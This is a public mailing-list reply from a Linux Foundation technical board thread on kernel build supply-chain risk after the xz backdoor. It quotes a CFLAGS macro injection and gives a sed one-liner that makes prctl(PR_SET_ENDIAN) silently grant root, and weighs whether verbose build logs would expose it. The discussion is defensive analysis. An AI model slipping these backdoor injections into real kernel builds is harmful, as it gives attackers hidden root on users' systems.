Technical Advisory Board (TAB) public discussions
 help / color / mirror / Atom feed
From: Michael Ellerman <mpe@ellerman.id.au>
To: Vegard Nossum <vegard.nossum@oracle.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	"H. Peter Anvin" <hpa@zytor.com>,
	"tech-board-discuss@lists.linuxfoundation.org"
	<tech-board-discuss@lists.linuxfoundation.org>
Cc: Theodore Ts'o <tytso@mit.edu>
Subject: Re: xz meltdown/Lasse Collin
Date: Tue, 16 Apr 2024 16:24:56 +1000	[thread overview]
Message-ID: <87zfttbz9j.fsf@mail.lhotse> (raw)
In-Reply-To: <872f9cfd-5c19-4a82-bf75-6256265e8f8a@oracle.com>

Vegard Nossum <vegard.nossum@oracle.com> writes:
> On 13/04/2024 15:16, James Bottomley wrote:
>>     2. We need better build artifact transparency generally but  I think
>>        the kernel is fine here: we still use make so don't have the huge
>>        build artifact issue that allowed the exploit in and we have a
>>        documented signing process for our build artifacts (kernel
>>        tarballs).
>>     3. The indirect library dependency problem doesn't apply to us.
>
> While this is technically true, there are many other ways to compromise
> the kernel build process:
>
> 1) you can pass code in through the CFLAGS environment variable, one
> example that I came up with together with Michael Ellerman would be:
>
>    -DSET_ENDIAN(x,y)=-22,commit_creds((void*)init_task.cred)
>
> when building kernel/sys.c on x86, this is will turn any userspace call
> of prctl(PR_SET_ENDIAN), which normally just returns -EINVAL, into a
> backdoor quietly making the calling process root.
>
> All you need for an injection site is a preprocessor define that is
> conditionally set with #ifndef FOO/#define FOO.
>
> This does not appear in any source file or build output directly and so
> likely wouldn't get caught by SBOM-type solutions.

It would appear in the build log of a V=1 build. Someone would still
need to spot it, but at least there'd be a chance.

Debian kernels seem to use KBUILD_VERBOSE=1 by default. Judging from the
log (249MB!):
  https://buildd.debian.org/status/fetch.php?pkg=linux&arch=amd64&ver=6.7.9-2&stamp=1710355583&raw=1

  # CC      kernel/sys.o
     x86_64-linux-gnu-gcc-13 -Wp,-MMD,kernel/.sys.o.d -nostdinc -I/<<PKGBUILDDIR>>/arch/x86/include -I./arch/x86/include/generated -I/<<PKGBUILDDIR>>/include -I./include -I/<<PKGBUILDDIR>>/arch/x86/
  include/uapi -I./arch/x86/include/generated/uapi -I/<<PKGBUILDDIR>>/include/uapi -I./include/generated/uapi -include /<<PKGBUILDDIR>>/include/linux/compiler-version.h -include /<<PKGBUILDDIR>>/inc
  lude/linux/kconfig.h -include /<<PKGBUILDDIR>>/include/linux/compiler_types.h -D__KERNEL__ -fmacro-prefix-map=/<<PKGBUILDDIR>>/= -std=gnu11 -fshort-wchar -funsigned-char -fno-common -fno-PIE -fno-
  strict-aliasing -mno-sse -mno-mmx -mno-sse2 -mno-3dnow -mno-avx -fcf-protection=branch -fno-jump-tables -m64 -falign-jumps=1 -falign-loops=1 -mno-80387 -mno-fp-ret-in-387 -mpreferred-stack-boundar
  y=3 -mskip-rax-setup -mtune=generic -mno-red-zone -mcmodel=kernel -Wno-sign-compare -fno-asynchronous-unwind-tables -mindirect-branch=thunk-extern -mindirect-branch-register -mindirect-branch-cs-p
  refix -mfunction-return=thunk-extern -fno-jump-tables -mharden-sls=all -fpatchable-function-entry=16,16 -fno-delete-null-pointer-checks -O2 -fno-allow-store-data-races -fstack-protector-strong -ft
  rivial-auto-var-init=zero -fno-stack-clash-protection -pg -mrecord-mcount -mfentry -DCC_USING_FENTRY -falign-functions=16 -fstrict-flex-arrays=3 -fno-strict-overflow -fno-stack-check -fconserve-st
  ack -Wall -Wundef -Werror=implicit-function-declaration -Werror=implicit-int -Werror=return-type -Werror=strict-prototypes -Wno-format-security -Wno-trigraphs -Wno-frame-address -Wno-address-of-pa
  cked-member -Wframe-larger-than=2048 -Wno-main -Wno-unused-but-set-variable -Wno-unused-const-variable -Wno-dangling-pointer -Wvla -Wno-pointer-sign -Wcast-function-type -Wno-array-bounds -Wno-all
  oc-size-larger-than -Wimplicit-fallthrough=5 -Werror=date-time -Werror=incompatible-pointer-types -Werror=designated-init -Wenum-conversion -Wno-unused-but-set-variable -Wno-unused-const-variable
  -Wno-restrict -Wno-packed-not-aligned -Wno-format-overflow -Wno-format-truncation -Wno-stringop-overflow -Wno-stringop-truncation -Wno-missing-field-initializers -Wno-type-limits -Wno-shift-negati
  ve-value -Wno-maybe-uninitialized -Wno-sign-compare -g -fdebug-prefix-map=/<<PKGBUILDDIR>>/= -I /<<PKGBUILDDIR>>/kernel -I ./kernel    -DKBUILD_MODFILE='"kernel/sys"' -DKBUILD_BASENAME='"sys"' -DK
  BUILD_MODNAME='"sys"' -D__KBUILD_MODNAME=kmod_sys -c -o kernel/sys.o /<<PKGBUILDDIR>>/kernel/sys.c


Though obviously that just motivates an attacker to inject their payload
via some other mechanism, eg. by modifying the source eariler in the
build:

 $ sed -i -e "s/SET_ENDIAN(me, arg2)/-22;commit_creds((void*)init_task.cred)/" kernel/sys.c

On the other hand it looks like Fedora kernels are not built with V=1.
Just looking at the log (search for '-j48 bzImage'):
  https://kojipkgs.fedoraproject.org//packages/kernel/6.8.5/301.fc40/data/logs/x86_64/build.log


cheers

      parent reply	other threads:[~2024-04-16  6:32 UTC|newest]

Thread overview: 12+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2024-04-12 17:36 xz meltdown/Lasse Collin H. Peter Anvin
2024-04-13 13:16 ` James Bottomley
2024-04-13 13:47   ` H. Peter Anvin
2024-04-13 14:12     ` James Bottomley
2024-04-14  0:11       ` Theodore Ts'o
2024-04-14 13:42         ` James Bottomley
2024-04-14 10:21   ` Vegard Nossum
2024-04-14 14:45     ` James Bottomley
2024-04-15 18:00       ` Kees Cook
2024-04-16 14:05         ` James Bottomley
2024-04-18  5:20           ` Michael Ellerman
2024-04-16  6:24     ` Michael Ellerman [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=87zfttbz9j.fsf@mail.lhotse \
    --to=mpe@ellerman.id.au \
    --cc=James.Bottomley@HansenPartnership.com \
    --cc=hpa@zytor.com \
    --cc=tech-board-discuss@lists.linuxfoundation.org \
    --cc=tytso@mit.edu \
    --cc=vegard.nossum@oracle.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox